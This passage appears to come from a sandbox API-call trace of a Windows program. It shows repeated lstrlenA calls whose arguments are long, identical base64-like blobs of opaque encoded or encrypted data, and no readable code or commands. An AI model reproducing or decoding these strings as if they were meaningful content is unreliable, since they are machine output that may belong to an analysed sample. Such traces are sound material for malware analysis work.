SbWaazGC+oHawwVAZjhVu2LUiuq9a76xZM9XDVUDnBZKQtJqsRlkfQ4On0kk0DZSo3PI1hdycZ9YIp9+zhA8jDSdQMu2fA/D6vw/NoN3pIYCpJ9KWIb2zUTKpnxDWxXMYnz2+J1ZwVvNhkuI68Y1BbaYzjZq/0iUFT9X7KVboqbeuhu+wWc97VSlk4qHIq5gYhnoPYscPWrU4fD1KApAkIcuNJIi0nsUotOoDd1qVhQNl5ff5uYrdRg23FSU5DRgwlqo9QmMT2xd0OVEOHlUD+Yea6UDhhnIdVPFxM5/UhIaLXqO97ovabRGHzJrBPA8CR5Sab/B4GwFsYNIL/SosMF/N6BrZkuYVjiC+gsPWKe7XqiXDDbRVHzszFhzyPrjWgFpgHbg8pS2m04nNzjleUEoJWnx839sMPuknZ6EbcmX0XVk7EuDdOHs+xK22RuZsJwGuJFiR96raTnLNLRYkcXAuS5HbMbfgiT5h3zGQ5RgRn6kTaSTs5aJvLkYo0yL2/9/aBAzGxtcF/pTngc8/DTbkYi7v6almd46gauZzcJhJ/hRAfznSBaX3TXzvlwwWBWxKD+8QZWcIN/SLNSjY926DAx45oko8XmYQe1tyizClFib1u2IDMOTaWJOCQR00c0oRnhFvSCE0kTjc0AnEOfh2QBU4IofiadkQP53Bied2XkA8NcbuRmnQnSQ89DaDa/3h4wZhQFSfD6Z4FdtQfaZ/MYhv5o0LEZVdADC4jZETfFhUawYO6fiw2TPWTpcVEf3CSc3mBAZFAng6camyLLhtHsL24tHTFSDmtvgGQWDCLaSJAavl9Z36rbaQZviRaPECizFN5IYfmONDsT95lfe/1h70vyYsKQ1Uxj518FbqdY0uZJ+zNWsRnCaIkSNmWDkGGWlrFbLvvG000Qdq9ukh49mOh9XZnMsUxmYa8fjtv5UZNKFpSP/VODavbItL4bL1QcqqikQD8xymYECCOr5v2gIEFL3vTjDyJodz0wB5Cbmu5qK9s1hX4BvA4IziQcvaJ3qyaFOB68C6K6H5SV8ew+WCTfLaSYrRLDzrdvD7HSuzDy9rRdRm6Rt18EBj+TStzXkvgyTmfs/DbfixfoY93MvYD4gwYwE/No3AXTOP7Euj/HdTOc7Vmalz2RfbLOzoBlXiPmAn2QaYUc0lOuplD3V1jUJ9BEW3/lkl1d3t8Kxp4VSF0uZLwX0bxFaMvl4GembGuzP1TrhiqSKdu/uXFlPqsHPFFgaUG4k8h+peaNfpCRyvE2vQpxtFtRJ3Aq0XxqDWTm8JeZl69nIWRwqemylFWdq9AMokjYvTCeRRjDZ+ZrJM9Za5BuKAL5SVoocUmY8/0BzzpSx2xF3hXK+4RlxEKlNUcGWWZL/ud8L2o6E674K2jlrqyehrOWIK11//zgPwTff+fyKk5swMp8e7kgxsvk1TYLRRcJtNhcSF3H13eErTO2mVjK7xfghzFOEIbnoiMV0NNLKcBSgm+1wcqAghSK8KqFYE1w/wkhhW5f6hpXZUB2l8djg3I5dlRT1SzDNcuqlBrA/dvVYOOjBLQVDIUvw7o2aX0gbxuIfCL0XbLQ5AjH7YNodTlNw2pN5yJqtVvnxMkLc6p8QeTKkEPVOYnusItZqgC3niCkkq5mzVIA4vXLGwxfV7mUGmyD5oNpqYlYIkTLglgH65yE+hpWrAQaPM6Gh5imIoda30Eee+4bB1Rjw/eA3pzRocuIyZsqbcfDsJ0SUEakBGBhSCUKVFmRpFuKiJnt69EtvkeGiw/Cs//IcsJJEzkAlxK8DuVJN9FUiKav7HWfu7X4ffy8NPKo6qBEpx+wwFDIPpCrbCtr3bV+JWe65309F0BFVMhyBh+Uem4+w=") returned 5820
	[0084.634] lstrlenA (lpString="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") returned 5820
	[0084.634] lstrlenA (lpString="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") returned 5820
	[0084.634] lstrlenA (lpString="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